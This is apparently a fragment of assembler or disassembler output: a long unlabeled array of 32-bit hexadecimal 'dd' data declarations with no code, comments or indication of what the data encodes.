		dd 76D20480h, 8DECD7h, 7CC8D91Bh, 29D67BCh, 3B0B7401h
		dd 71AC11B3h, 0A9BC8h, 4C6D694Dh, 0A2D938B0h, 36B6158h
		dd 0A79CC165h, 93D499A1h, 1B284F0h, 9F281709h, 6DE91CC8h
		dd 9D440408h, 0F480A82Eh, 39A9B1Eh, 0EA0C16D4h,	338B662Ah
		dd 5589C180h, 0F6F380Eh, 8EE5C764h, 0F81223C0h,	0FFC0078Ch
		dd 47172A5Dh, 0E54290B2h, 0A7000BADh, 0A1CAC51h, 0F42ED183h
		dd 411800DBh, 9F67501Dh, 8730FF5h, 7771ED00h, 44DDB5D5h
		dd 0B11000C4h, 8E5D858Ch, 4C00FA07h, 3143A809h,	0ED4FCBh
		dd 0B669C514h, 68A55BD0h, 0BEC2B700h, 33D22172h, 6BF0A84Ah
		dd 353900D8h, 29BD340h,	0CCBA4329h, 0ECD67600h,	0E3BBCDE8h
		dd 0E75B005Eh, 48C05225h, 62003BEDh, 7180E26h, 2F10514h
		dd 10A74E98h, 0F080AF73h, 49F06034h, 3D2874Ch, 0E4A294BFh
		dd 39C9E064h, 0ADE2EEh,	0F9E1C45Ah, 0FD60C5EBh,	0C0AC1713h
		dd 4A9A8803h, 0C368B35Bh, 0C0D49Dh, 0A2711h, 2080EA47h
		dd 5D08D415h, 7D601E01h, 48D39C01h, 0FE0DB828h,	0E1E01C82h
		dd 7B2DF42Eh, 6259AD0Bh, 94FA0118h, 0EC20B2BEh,	0D65E0778h
		dd 0D7E0E504h, 3F97BDh,	8742F7C4h, 0A96FD500h, 0C5B95A13h
		dd 0D0FB030Bh, 0B1BD15D8h, 0F16247F8h, 1F00F2FEh, 0CC67B003h
		dd 543734h, 0A3D10F15h,	0D7B2A7E1h, 86E8FA00h, 7E6FCA8Eh
		dd 397B00B6h, 0C9F7C8Bh, 0FB0057A0h, 0E5326B2Eh, 63EE88h
		dd 0DD6138C7h, 3B4D8D12h, 51EAE476h, 532A19C1h,	35ECA78Ch
		dd 2D160042h, 98957F67h, 1800411Bh, 83EA486Eh, 10C25B4h
		dd 3B37E9ADh, 2056945Bh, 0C970701Fh, 2261B900h,	60C7C82Fh
		dd 98280BE5h, 67815D36h, 0CC3F34DDh, 9350D687h,	2F030FA4h
		dd 41EE5197h, 0E59DB90Ah, 88FA434h, 1A63CF47h, 0E469DD00h
		dd 0E609B741h, 0B4E3EE9h, 283C8A00h, 4ADB983Ah,	0B07CCA2Ch
		dd 1401B212h, 3DE6CB48h, 775A130Bh, 9210F0C3h, 0E853BDh
		dd 1269220h, 70E65153h,	5A0006E8h, 0BF015EFh, 84FA72h
		dd 0D971FE2Bh, 8DF9421Ch, 0D60099EEh, 7C95759Ch, 185815h
		dd 25451472h, 4B8756A4h, 8F417F00h, 33C6F74Dh, 90823FB2h
		dd 1078FD09h, 0C8F81000h, 44049CCFh, 8C45283h, 8A370CC0h
		dd 167F000Bh, 339E5A38h, 640173ADh, 74F6BE7Eh, 0B4DC59DFh
		dd 0F412002Fh, 24155701h, 1F01B14Bh, 6CE5058Dh,	0F0817DE0h
		dd 0A1B463B0h, 0CF5DF87Ch, 79C8DB00h, 1CEDD0EFh, 75BE4F3h
		dd 0C78D2BFFh, 9F81F131h, 0E86F2126h, 0C00006F5h, 0A17DD763h
		dd 748A002h, 0F6798B09h, 0D5D98298h, 3E0048CEh,	6551CCE6h
		dd 2DEC769h, 0F5B8A720h, 0FF60B3AAh, 0AE00685Ah, 5DE83483h
		dd 4FEB9C03h, 0D6A4043Eh, 8CB4B010h, 3629AD1Ch,	5F5458Fh
		dd 1CC149ACh, 0EA21C7B7h, 26E3DC0h, 16596D17h, 28CCFA02h
		dd 0E5154900h, 4E431E1Fh, 59FE1264h, 0AF3C0078h, 2F6A9EEDh
		dd 0C3735100h, 0CEC5F9F0h, 0B0D00069h, 0E9964448h, 9C01F510h
		dd 8043CA88h, 87F4631Dh, 24782CF9h, 7705006Ah, 0A8ECA12Eh
		dd 304B9C00h, 39069B4Dh, 0D1200638h, 0B055D7D8h, 2E167400h
		dd 158E26A4h, 611F3A02h, 0F03D0981h, 7DE5E0AEh,	0A6F47698h
		dd 9132240Ch, 0E9B0AC3h, 16A0EA99h, 44A733A0h, 7606696Dh
		dd 29F2F411h, 0C64B0E50h, 62209FD2h, 4CD7DE8h, 995FF5Ch
		dd 1A60B48h, 3B8BF400h,	3D94FBD0h, 0D700ECE8h, 0E55040F1h
		dd 8C3F01D5h, 0C470134h, 4737F55h, 0D7FAEA40h, 352D0098h
		dd 29EA6260h, 0DD02A68Eh, 0D54FCFA5h, 97AC602Fh, 0BFE100BEh
		dd 8E439585h, 0DD092CF5h, 0E02BE39Ah, 7DB6D0Fh,	2D13A0CDh
		dd 2165C0E9h, 0A63AD9DAh, 433200DCh, 0AB35B8B0h, 0AA3F0025h
		dd 0FB72E4E6h, 0BF1D98A7h, 81F94EC7h, 917D6F59h, 1B30AC63h
		dd 28BA005Fh, 0A084C07h, 0B4014337h, 7B866A97h,	61D44D59h
		dd 38F44862h, 0BCEC6600h, 90576EBEh, 93994812h,	0F5BF64C0h
		dd 111E8460h, 1840A406h, 505629E4h, 0FB700Fh, 3272C1A6h
		dd 84B99851h, 8C022492h, 2790D6B8h, 0A3F8E122h,	4FA230h
		dd 0FD8A67EFh, 7D2BC801h, 5484C912h, 0F8742883h, 914C2E5h
		dd 4F9F8CDAh, 0EEEA3E00h, 0B34CECB2h, 0EBA80260h, 80546278h
		dd 4577C1D6h, 0A470E46h, 9901ABF1h, 399A304Fh, 0A6B80050h
		dd 5C432FF7h, 60EB00F6h, 576A0E95h, 0C012AED2h,	0AA02BD19h
		dd 0D0BA1431h, 61ED0068h, 337F7A8Ah, 0C32476F9h, 0A300744Bh
		dd 0EE9A1FE2h, 0CC1ECB4h, 258C18ABh, 61002118h,	82119E90h
		dd 1FC1F0Fh, 0D2F55A2Ah, 0D8E67380h, 301E0850h,	96C07ADEh
		dd 9D98A08Eh, 449406h, 38687BA4h, 0D3002BEFh, 5D248216h
		dd 87A0A9h, 0CD8C28C3h,	498A1461h, 0AF154B07h, 0D6B0C28Eh
		dd 366320h, 5106781h, 52828F4Ah, 3900FB7Bh, 13A0C27h, 59A46BEBh
		dd 7700D8ACh, 0C8638471h, 7500201Ah, 0A796A141h, 1C600DDAh
		dd 25FAB6h, 0DBBD5F1Bh,	0BA005B7Fh, 8FA3B09Eh, 0B0156D14h
		dd 8DD709E5h, 4080E050h, 1F05633h, 0AF6C271Ch, 0ACDDDE80h
		dd 9A37DFh, 642DB6F7h, 0E379A3A1h, 98C28C0Eh, 0C54EE029h
		dd 7594C88h, 71FBD297h,	1E31950Eh, 0ECBEC9A8h, 2124BD87h
		dd 80F16864h, 0A9556136h, 482CC0D2h, 89097E7Ah,	960002C5h
		dd 0A7567FE6h, 8F86B00h, 33AF5FCEh, 0CFFECBh, 0A3B1DE42h
		dd 2AA4B6A8h, 0A0326F6h, 0FD717B79h, 0DD3C858h,	98A90075h
		dd 2F9F77CFh, 0B33BCA4Eh, 9591060Eh, 7DAA03D8h,	0B04B1F54h
		dd 1FE1247h, 0F2CC8764h, 94F7FC85h, 7900E37Eh, 424BB498h
		dd 970E13h
		dd 0B320A176h, 0BA290F6h, 9F213800h, 2AE0E9DEh,	74102D2Eh
		dd 0F90046D6h, 30D31F19h, 1CDC023Bh, 5EA2E426h,	0BF1C8C50h
		dd 0E6DCC207h, 0D78D96C3h, 0C304FB7Eh, 0F2EEC0D9h, 192248C6h
		dd 8AE95D0Bh, 433A6883h, 0DA7D5100h, 0A099CA26h, 2C8E0089h
		dd 6A691280h, 3304A2D7h, 35524B9h, 87A770C0h, 0D4900FFh
		dd 0A3B270E5h, 165EEAD4h, 0F1DC8840h, 75032B3Dh, 95783206h
		dd 2E20419h, 0F7C934A0h, 0FC021CBAh, 0E51FB4A7h, 7C4DC052h
		dd 6B890188h, 0B106DE39h, 2831866Ah, 48B4AFh, 0F8D4BBB2h
		dd 0D6F4B5FFh, 2013B82Fh, 1D705D64h, 0A0333015h, 0B308D40Eh
		dd 0AA651E0Bh, 0B05CC0C4h, 8AF3007Eh, 0A61CB4A8h, 3000B614h
		dd 0FD963FF1h, 815410h,	0B5E00B77h, 0C883C92Bh,	3172C07Eh
		dd 5093B101h, 0B61208BBh, 3766460h, 5F1337DCh, 0FBC070EDh
		dd 0A095BF3Eh, 9B7C0A10h, 59CC03B7h, 0C5D920AAh, 0A17FDDC0h
		dd 0A534F43Ch, 3BE4C85Ch, 0D47138C3h, 8582E980h, 29AB0741h
		dd 0E87FDC1Ch, 0BE296B98h, 0BD240056h, 0CAEF06B0h, 7C2E379Eh
		dd 3E00DB4Bh, 0E54ED293h, 0C58600C8h, 8DB992AEh, 0DD1C65D6h
		dd 0BBC06BE9h, 0F082731Dh, 0FD4E93h, 82AE8DCh, 0DD7AEF66h
		dd 39B70300h, 50E625C6h, 0E0525454h, 24E74B5h, 0A134C7FCh
		dd 0D856BFB6h, 0E51E6980h, 792029C0h, 0E0B00AFBh, 0BB30EDD8h
		dd 6FF69900h, 0F4146DB6h, 0BF303CB0h, 818758DEh, 0A672009Dh
		dd 51BBB54Bh, 0B9004818h, 92FD012Ah, 0D15058h, 27E25270h
		dd 0E142903h, 0AD073400h, 847ABBA6h, 1E7B7347h,	3BC23E7h
		dd 76517E77h, 910160C6h, 0A6FE893Ch, 22CCDB55h,	2DB03A57h
		dd 233A8800h, 0C1C5E36h, 62B7500h, 0C4B4A4CBh, 0B85377E8h
		dd 6EA3006Ah, 956AF281h, 0D718EF39h, 0DB093FB7h, 2120C1E8h
		dd 70F363F9h, 0C0082AEh, 961CB82Bh, 0EA92F1E4h,	58B9607Fh
		dd 0E6391B68h, 0D8985200h, 0C19FC0B0h, 45E1006Dh, 0B86EE795h
		dd 7E033138h, 0DAB4A6E9h, 1B603CEBh, 48EA29h, 3A4E6B09h
		dd 2086DE97h, 0F4E0DFC3h, 87A96A00h, 4BDBBBC2h,	0A67E3A36h
		dd 0A2AA50E0h, 0AC006275h, 4434D9AEh, 0A09030h,	0A1F837B4h
		dd 2421E1AAh, 0E0B10203h, 0F1949B25h, 0C4DC853Bh, 99B26041h
		dd 8D701A8Eh, 949D2803h, 0BF12ED7Dh, 69D646h, 0F86FEE71h
		dd 29CF2217h, 0A1B70830h, 20422Ch, 0F369AC9Ah, 4875DC30h
		dd 0EB00E1F8h, 0B72585CCh, 8E3E93h, 781B69C3h, 0D09A390Dh
		dd 9519EE00h, 51277361h, 0A72C3AA9h, 18522CD0h,	0C0AC35F8h
		dd 881E6DCAh, 0F4C05105h, 0B2ADF676h, 9AA90064h, 32CD1A25h
		dd 0B34C67D2h, 0AF97078Eh, 5C9080D9h, 0A3FFD8h,	190F5435h
		dd 66309939h, 5F739E00h, 28A24640h, 0EC3D0008h,	0B9FFC69Ch
		dd 2A7B3142h, 77702900h, 0DC7DCF4Ch, 7ECE3C52h,	805BF41Ch
		dd 196846EAh, 0D80062BEh, 8952B4D1h, 0E0EBDC74h, 0F4BF0690h
		dd 28E3F949h, 22632D22h, 0BF103B12h, 4D118ECEh,	0BDF111FCh
		dd 1837A211h, 3511423h,	45E74068h, 757B2284h, 0BF8FF780h
		dd 8E71F003h, 9842DBE2h, 0EAB5B040h, 638D0036h,	8B4D81A2h
		dd 0CE00B204h, 734C89AAh, 3692Dh, 86FEF6D7h, 625FA431h
		dd 214F9300h, 0B2A0DE5Bh, 91FC026Dh, 5AB6E928h,	0B7AFB960h
		dd 84923300h, 315E2C4Ah, 1EC4F4DFh, 3249C1h, 0E6FD2554h
		dd 2A7AB3E0h, 40A82F16h, 0BD3C56B8h, 4157D79Ch,	16C501C1h
		dd 0E7B44070h, 7600B490h, 0A19609Dh, 1D3398F9h,	836288DDh
		dd 0C8F67861h, 68C2BEB0h, 0E0918C00h, 5A2392F4h, 29AE0A79h
		dd 0FFE827h, 557BD9DDh,	9A018CE5h, 0F33C634h, 14F8DC28h
		dd 0E0ECA080h, 5D2F01A3h, 8E93A8EFh, 0EAA2C4D3h, 6E732A07h
		dd 5C901ED5h, 0FD0CF1h,	22B40F0Bh, 0A4EE64E4h, 530004F8h
		dd 21023680h, 1CAE1933h, 1FE1E565h, 6837C0BAh, 0D3561C75h
		dd 51854500h, 6B1765BBh, 0E1D00711h, 501FC669h,	9DBD1B2Fh
		dd 4589C41Fh, 7A50077Fh, 0A5F07D39h, 605823h, 9A62483Ah
		dd 0BA5D9DA3h, 0B7F9D800h, 11EC0421h, 2E5A006Dh, 92DC8AAFh
		dd 1800D176h, 7FC656E8h, 0A1AADh, 0BEA06474h, 0B6A636E1h
		dd 473BF400h, 97CA12F6h, 29C50056h, 0CE57133Fh,	707874A4h
		dd 0B8D4FF00h, 0CA723A7Dh, 0B3D707C5h, 10ED2B0Fh, 9403909Bh
		dd 74004EB0h, 0A94AD8D6h, 981F9626h, 8F630054h,	0E1DB8AC5h
		dd 4900655Dh, 0DE480C40h, 7F1642Ch, 0D2A03847h,	0EEC9E0B4h
		dd 267199CEh, 20E07F0Ah, 0C400B402h, 29D635C3h,	3E652CADh
		dd 0CE8F0CF6h, 0C6004011h, 0D0CF991Dh, 0EE58B6CDh, 72AE000Eh
		dd 108C26FDh, 0C500480Dh, 0EE6C4331h, 0EBF8221h, 0E0E707A5h
		dd 8BC63B20h, 25E4A905h, 8108383Ah, 57A03010h, 3970B903h
		dd 0C6F70099h, 0B9A1B75h, 0AFE89D06h, 0C9087C00h, 45D6B6D2h
		dd 0E2E002Dh, 8F777FB2h, 9F001C40h, 2F25604Dh, 3331435h
		dd 0FC97EB5Bh, 28B836E4h, 2309B2ABh, 92117Ch, 0FF594E3Eh
		dd 0C9B507EFh, 10453CF3h, 331C6AE8h, 7C1E248h, 32F65B6h
		dd 85D72560h, 9FF80029h, 7A08B017h, 0E400E811h,	0FA9C46A9h
		dd 17B83F6Eh, 0DA74D0h,	6C8FDC79h, 0E00FE3Eh, 8D199CC8h
		dd 22FDBAh, 30BB83C1h, 0B3E1B761h, 39381A7Ch, 7374044Bh
		dd 0FFC077EFh, 0CA3C0Dh, 334294E9h, 451EB0BBh, 1A987B00h
		dd 28BD301Fh, 0E29B0E58h, 0A4404943h, 0A37418B6h, 0DBF74600h
		dd 4B25D3F2h, 0C477268Ah, 0FF2A070Ch, 818DD297h, 648E72C0h
		dd 44CE12C0h, 0AF7825h,	0D9C088C1h, 1EDD4A18h, 3D69B500h
		dd 0A2E3D8FFh, 563A0079h, 0F5B70F8Ch, 0FC006F86h, 0B669DFEDh
		dd 0DB896Ch, 23ABAE16h,	75B0B770h, 0D3D5DE07h, 4BB0047Dh
		dd 512DD1h, 367B39A8h, 71E9197Ah, 9F57243Eh, 0F7FCF3FFh
		dd 8DE1A100h, 1C3E6220h, 0D9F62848h, 748400E2h,	320A8A4Ch
		dd 0D32466A3h, 2D02719Ch, 6878EE5Fh, 4090B468h,	76007EDAh
		dd 5A121186h, 4E7E1AEh,	0B4156C02h, 856CC0E5h, 870E6947h
		dd 0C0E0E4DBh, 0D0A471F8h, 2F210034h, 0E695CC82h, 4500CE0Ah
		dd 434FE362h, 0B8F5FCh,	610709A5h, 0C16601C2h, 0CF4B7B00h
		dd 0D715B00Ch, 0FC1E0E44h, 344E6856h, 9C5E8480h, 5C00AF42h
		dd 3E22BB7h, 370982h, 0D4F670DCh, 0EBB8A099h, 0B360200h
		dd 8D1E7D2Ch, 67DB00CEh, 161B5397h, 62E20423h, 31B08300h
		dd 0E68F6D9Ah, 89B200FCh, 5AC127C4h, 20C06136h,	0E3110187h
		dd 0F879064h, 3FBA8269h, 0DBBBC00h, 10C08586h, 262C1C62h
		dd 21943E69h, 455E2A8Bh, 98B807h, 17E14120h, 2D82910Eh
		dd 687F2323h, 1175D880h, 1C4E2D5h, 7E38335Dh, 0E9A6A1C0h
		dd 7AE08050h, 3C240EBh,	1D72002Ah, 3DDDA7C1h, 0B21E69B6h
		dd 2003F206h, 0E0098EF7h, 124B94h, 0F45CB072h, 9FAA952Ah
		dd 0CA4D4907h, 3A607B64h, 0FA5B752h, 0D9727C90h, 0B5EACCE3h
		dd 0CA5D1E00h, 1927740Ch, 2B1D03EDh, 0EE535B7h,	0E1A876E3h
		dd 6203C76Eh, 0EBF094F8h, 0C346AAC6h, 2F619078h, 0FE2200ECh
		dd 239ECABDh, 2B26C076h, 0D40163BBh, 5C69AF9Dh,	8E1AC4h
		dd 0B3A32F0Ah, 8694103Dh, 0AA9BB009h, 41B78050h, 17453Eh
		dd 0C13F443Bh, 5423389Fh, 16786E00h, 2B69C820h,	4F50005Ch
		dd 98F03D79h, 0A900D019h, 3EC742BCh, 5EEF9Fh, 762AF6F1h
		dd 0AB2D0B3Bh, 3F436900h, 8F08B6C4h, 0FE930092h, 5B449FF5h
		dd 68004153h, 0E6D580FCh, 8777B9h, 0CDDD7A3h, 3439F0F5h
		dd 0F9BCAB0Ch, 0F82816h
		dd 487546BFh, 4D96DD8Ah, 0B5181760h, 4A441DCAh,	0BA530005h
		dd 1C7A73A3h, 0E100BBEAh, 0E56AFED8h, 0E63CBF5h, 2FFFD4AEh
		dd 0DB0072AFh, 7D0FC015h, 3C6F940Ch, 1784B0B0h,	0BB6EA578h
		dd 0BF52C400h, 2892C0EEh, 29203AFh, 0E6E88F8Ah,	0C285FF25h
		dd 424BC031h, 0B009BD5h, 63936753h, 76E4DE8h, 0D7CE9822h
		dd 0B825E0F2h, 1B0F47D2h, 60F1B2C1h, 4329FC88h,	5128002Ah
		dd 0B64F4BD9h, 0E7029FE0h, 0EFED3AE5h, 2E38E879h, 211C88A1h
		dd 0B9630800h, 1822692h, 8F650F3Ch, 0D040ED9Dh,	7AEC94FCh
		dd 36E5CB00h, 52642162h, 2C90B039h, 30B9A67h, 2FB5F787h
		dd 0FBA14990h, 0E3FF4F07h, 0F500ABDBh, 0F9E5B7Ch, 8FA448B0h
		dd 4881DF69h, 0C7D4A533h, 0CC2874D8h, 888EF0Fh,	0E8C0A037h
		dd 394AE58h, 6CA3A5C8h,	31CB75F0h, 4C372FA0h, 16C38D00h
		dd 0DBA97021h, 9B661D13h, 77F7C011h, 616985AFh,	2280A8BBh
		dd 64816286h, 2A6E0019h, 0B3F88AC9h, 0C81D1584h, 94807D0Eh
		dd 0BD85A591h, 0E9B11864h, 8C6696Ah, 6E0C3B00h,	31720A45h
		dd 5C33079Dh, 0AA4A8497h, 4CE800B1h, 934E824Fh,	0CD3B9500h
		dd 32A1AA78h, 17A900BFh, 0D9D649FFh, 4B380FF1h,	9FA8800Dh
		dd 3365E52Ah, 16EA0F2Dh, 0D055255Ch, 3C47A500h,	36977599h
		dd 0F9C7960Ah, 3009CBBh, 80EF705Dh, 8682004Ah, 6B68E569h
		dd 7414DB5Fh, 0ED49C1Fh, 48C167h, 0AD70752Dh, 90E70198h
		dd 64D6162Eh, 679BC4D1h, 2B760B1Dh, 6C14A40h, 741F4Bh
		dd 0FBF71A25h, 0E602117Bh, 0F959871Ch, 0F040F3CAh, 0D12D8001h
		dd 60C4C156h, 0DDE9173Ch, 0D5940008h, 0BB4A127Fh, 88000892h
		dd 469B4BD8h, 7EE5FFD6h, 0B0420028h, 387D12A7h,	18000126h
		dd 0A3579554h, 1EA420A8h, 0C01FCF89h, 8C34985Dh, 62F622ADh
		dd 0D8DFB575h, 66EB1404h, 0FFC83CC0h, 56B828A7h, 27350BF4h
		dd 8086B0E4h, 18C40A92h, 88A02F8Ah, 408D584Bh, 3BDB5900h
		dd 4EF1CB36h, 0EFEA8800h, 694535B1h, 15971FB8h,	213F8060h
		dd 1D53A6CFh, 56885100h, 0A4036ABCh, 0EC11596Fh, 3C611800h
		dd 0DDA3F981h, 66270501h, 0B400D3Fh, 0A8192983h, 14B05F5Ah
		dd 0CB01DBE1h, 0FB8A8826h, 0A7C0B5D8h, 13B1F409h, 363A96h
		dd 0C32D74C4h, 0FD048A28h, 60A70838h, 87C2CCD0h, 1CE6C6h
		dd 0B72EA6D9h, 0E63C7A17h, 4BCF7100h, 0A54F6C76h, 9CC100F7h
		dd 8F060123h, 0DA33855Ah, 0D2319844h, 878CA0E5h, 0A2145B8h
		dd 0AC248BCh, 0A43500E0h, 0F567D63Ah, 935C6303h, 0CD8CA240h
		dd 0BBB8200h, 2BAA57h, 2E6718BCh, 9C2D6F8Eh, 5C1B4000h
		dd 2A7B1095h, 24AD0009h, 573B520Eh, 1AC00A69h, 3FAB773Eh
		dd 25E53BF7h, 0CF00F63Ch, 0B61E26FFh, 0D5134C42h, 280064BCh
		dd 0DB4D3533h, 383405C3h, 80493658h, 1387DFC4h,	4F61F400h
		dd 4E1DB3D5h, 0AD1E00AAh, 488041EAh, 17009E6Eh,	5A7923D6h
		dd 0A97A7009h, 1DC89AACh, 0EE6E07C4h, 1EDB92FCh, 8639D160h
		dd 9B003252h, 3624BECh,	5260DBDh, 0FD60A474h, 0F6E40087h
		dd 17D4B57Ah, 4437D524h, 8EF81400h, 997065Ch, 3AFB2E0Ch
		dd 0DA554080h, 29072B45h, 4EAA4877h, 8116F6A0h,	964400CAh
		dd 254F853Ch, 770B7DD3h, 98803AD4h, 379EA24h, 0C9C2EB60h
		dd 0F08FF1DFh, 1A0F3B43h, 588F9907h, 0C1902052h, 27D7B002h
		dd 3800A9D4h, 0CFD87FAAh, 0C2378B0Ch, 1F18D3h, 0D2CE35B9h
		dd 1DE29F8Ch, 4372BDF0h, 9C444C00h, 0F7341E12h,	0F3363FDAh
		dd 0DCAB2Eh, 2268D7Dh, 0CC3EED27h, 108AA4DBh, 0F0A27E80h
		dd 80A4B2h, 7C83423h, 0B3384844h, 0BA486574h, 3C891BB8h
		dd 0C6468160h, 3D5860h,	0A340A85Eh, 4A9D1124h, 18AA3E26h
		dd 8BEFFF04h, 0F7C378C0h, 0D89A2Eh, 56F090F5h, 1A705CE0h
		dd 799D040Fh, 0E2073215h, 18A38176h, 6AA490C3h,	0BEDA0080h
		dd 0B5CE246Eh, 0E0CF14D2h, 0D0E9E3ADh, 74E18870h, 2E600B0h
		dd 4B5C17D7h, 0CA383FB9h, 0DB077840h, 6D84B16Eh, 0A3D14200h
		dd 83380089h, 156992B0h, 4007AE33h, 9A477D63h, 0D6F5C390h
		dd 0E56B0032h, 8A5099FCh, 2EE12F9h, 8EA29400h, 0FD595CB1h
		dd 9B56009Fh, 496E5F34h, 4805BFC9h, 4620B07Bh, 3357B401h
		dd 21D87CDDh, 0B898F6h,	162CC4A2h, 42E6F741h, 9557E00Fh
		dd 0EC0B602Eh, 864C02h,	0D2B1E8D9h, 4FB6ABC9h, 87F8CA00h
		dd 4A36AE9Fh, 11D0073h,	0AC06F644h, 4000D361h, 0B0828C69h
		dd 0C48A32h, 0E9025C1Fh, 0BF8359A0h, 50DEDF00h,	0F70CD26h
		dd 0CA4502D5h, 62F48201h, 5CFF38C0h, 0B08BF80h,	2C2AA758h
		dd 39FC8490h, 0C559A316h, 18B7D501h, 0E2C0971Dh, 0FA4526DDh
		dd 616600BCh, 19F3621Fh, 0AC47BE00h, 7B30880h, 52CD12B6h
		dd 7FA60074h, 56C76023h, 43CFD701h, 0CDBE0E8h, 41108E0h
		dd 72AFA63Eh, 27F8DAh, 0BD5117EAh, 0F4CCC9h, 0B933D2F5h
		dd 488A71DDh, 641348h, 8D2375C3h, 17838DBh, 0D22B7E3Dh
		dd 0E45F6090h, 3C00FD80h, 0FA82C895h, 5304DFh, 79BBF4Bh
		dd 144D9D2Fh, 0B87DBC00h, 0E8F6E628h, 0ED252E60h, 0B9550930h
		dd 1F44B980h, 0A500B27Ch, 313B5783h, 390DFAB3h,	0A4801066h
		dd 0C653A2Fh, 0DA02D814h, 276F2D8Ch, 0DF206093h, 0FEBE793Eh
		dd 1C9A0719h, 10BBE0BAh, 5F47A265h, 0E7837707h,	2DD04F36h
		dd 6A56A5h, 21B2E9C1h, 0DFECE043h, 6D866501h, 46906816h
		dd 45E870h, 144C1B92h, 9B01C93Fh, 2C834700h, 7322A8A0h
		dd 789609BFh, 9C00FB7Fh, 8C56F47Eh, 1100BE72h, 421E18C5h
		dd 3E42924h, 2BE1FDD4h,	19E3FB70h, 5C063AAh, 4E41640h
		dd 0A051390Fh, 3AFFE0B8h, 0F58D545h, 0B541EED7h, 6EB7ACA3h
		dd 0F4C1DC90h, 6317C600h, 8D0B2E01h, 0DA7070Eh,	9508E7AEh
		dd 58BA8089h, 0B500E2DDh, 19EA2B37h, 0CBA176h, 51C7E975h
		dd 53B8D45h, 3E83D4FFh,	99DDFF00h, 0F39D963Ch, 38E61D32h
		dd 747E008Fh, 5589E388h, 0DBEC6100h, 830D05EDh,	9739137Bh
		dd 9D2301ACh, 0C4F380AEh, 0A7D8DF2h, 5A9AB100h,	0F2AC27Ah
		dd 284A036Bh, 0CC49EE3Bh, 73EB47A8h, 3E02E101h,	2BD02393h
		dd 1E7B9AE0h, 404E509Dh, 6D99CC40h, 0D8071065h,	0DAE9E33Eh
		dd 7E5EEC90h, 52FC1EA7h, 936D80A8h, 0AC12FD4Dh,	8025213Ah
		dd 4185662Ch, 12B26270h, 11B532F7h, 7F88F8h, 0C503C4FBh
		dd 0D5773720h, 60AB200h, 0E1768FC0h, 97F4B6h, 42B883C7h
		dd 8A4DB95Ch, 33F26C00h, 0F73529Eh, 0DB78001Dh,	90E6344Ah
		dd 963C7F2Bh, 7E5C80FAh, 0BAD03FA9h, 655F0143h,	0F73E94C6h
		dd 0C76DECBEh, 81724607h, 96088D4h, 5EFDCEh, 68662314h
		dd 960B2DDFh, 7AB0314Bh, 434B0078h, 1A74B27Fh, 5003671Dh
		dd 0FAA530F0h, 512E8AFh, 733500CBh, 0C98A1A61h,	7E013376h
		dd 201EB660h, 0B2708E7Bh, 0E1CF1D72h, 26134089h, 9B214229h
		dd 3CA02700h, 0DF0B953h, 7D950130h, 8739FE98h, 5D0CF0F8h
		dd 74005BE4h, 9BBB2AE3h, 0D952B7h, 0DBE9D1ECh, 0F443E1C4h
		dd 0B0F99D00h, 49322BCEh, 99EEBEh, 0C8D2981Dh, 0FF0E896Dh
		dd 5E00A090h, 16B4BC83h, 3CC7C9CEh, 48833265h, 28AD291Ah
		dd 0BE4EA590h, 6328687Fh, 0CD00C1F2h, 0ABC12032h, 0CA6F54h
		dd 0E9764A45h, 254969E0h, 83AE303h, 0B85283E6h,	46667Bh
		dd 0A7C44530h, 0BED39D39h, 58FDC800h, 8F4A244h,	936B0056h
		dd 621D6703h, 0F9A07D06h, 0C17CF089h, 0FB99BF00h, 0D7504A1Ch
		dd 0BA44245Ch, 634883B8h
		dd 0F9D0B528h, 62461E6h, 74802826h, 0CA899023h,	32F725Fh
		dd 532C5A6Fh, 29B17848h, 0FF1DC0D9h, 30E06D00h,	0B615245Eh
		dd 0F4FA0050h, 0D7597622h, 0C5010490h, 1A6DC4B1h, 3007EDEh
		dd 9F00685Ch, 46EDD3Fh,	2299D59h, 0E65DFBDFh, 0E8811736h
		dd 80156A61h, 9622A559h, 1F8E2FEAh, 0C0395081h,	68FBBBC9h
		dd 9F98E96Eh, 0B95D4700h, 28B51F11h, 29F20056h,	0C5608AEFh
		dd 77000F04h, 0BDF3FEA1h, 5D70F5h, 0A09BF066h, 15AF79E0h
		dd 0E87FDA0Ah, 3609F50Dh, 77B3011Ah, 90D7548Eh,	0A2D666h
		dd 0F6D5427Ah, 0DFED535Ah, 1E00A5FAh, 765F8917h, 0ED93CFCh
		dd 9F883E8Fh, 14A4556Ah, 1807E458h, 33E84B4Eh, 8E88E398h
		dd 6D25D763h, 1DD07675h, 9D72C0C0h, 8DB61996h, 0C4230B00h
		dd 553C1A5Ch, 4EF77B7h,	614B43ADh, 0E16480FCh, 207059C2h
		dd 48A19158h, 87500064h, 0EF6BE686h, 832C0096h,	8B340C33h
		dd 52603164h, 23208990h, 1CB13EEFh, 4B10E3B0h, 0A71476DFh
		dd 0BA4841h, 4518611h, 68C3CEh,	42D11BAEh, 6EEB5CF3h, 0CAC11800h
		dd 63D74892h, 0B9E9005Ah, 0C9D0DA58h, 0C40E4E10h, 0C0512B14h
		dd 20858194h, 6F91EB3h,	87808A54h, 0B5A7018Ch, 0B9DE31ADh
		dd 1B4980B8h, 1DD1A6E6h, 7DCC00D5h, 8D833C0Eh, 387B704Fh
		dd 4A87354h, 0FC008F73h, 2A8B3190h, 68634C3h, 0EFD5DA2Ch
		dd 6318617Eh, 0D2F151FCh, 0B5DE00F4h, 5C3AAC77h, 0F9B8706Ah
		dd 0CB9D116h, 0AB52A000h, 71E2563Ch, 2DE80035h,	0B10ACB0Eh
		dd 0FBE63444h, 0AD87A900h, 0E96F9F82h, 97E200F1h, 7D2F1AD4h
		dd 880067A4h, 19D1B3A1h, 1427C17Ah, 0E0230840h,	0DC9DE700h
		dd 11CB91C3h, 0DDF0E460h, 149570C2h, 0C3232C88h, 8C96218h
		dd 20C08A98h, 0A1957458h, 0D3710082h, 0A6234708h, 3C3F2AE2h
		dd 3BE480BBh, 0DB88DD43h, 35E9CE5Bh, 0D7FD2241h, 0D83DF4BCh
		dd 18EF4C3Ah, 1B20D6A9h, 0B42003FFh, 76ED91Fh, 0F2D17D90h
		dd 0B99F9102h, 0C1E356C1h, 588058D4h, 0D1206B0Eh, 0FBB05784h
		dd 0D6159FE2h, 1C43BE1h, 0DB5CF789h, 1ED4D381h,	0D04C02A8h
		dd 155FC0EBh, 1FB6ECA0h, 92003B68h, 478490E5h, 55777EFh
		dd 956762C3h, 6A8C0158h, 87667C53h, 0BD8F2880h,	928CF540h
		dd 95C50B38h, 9F031AF3h, 0DBB01B17h, 2500776Ch,	0DDD603DEh
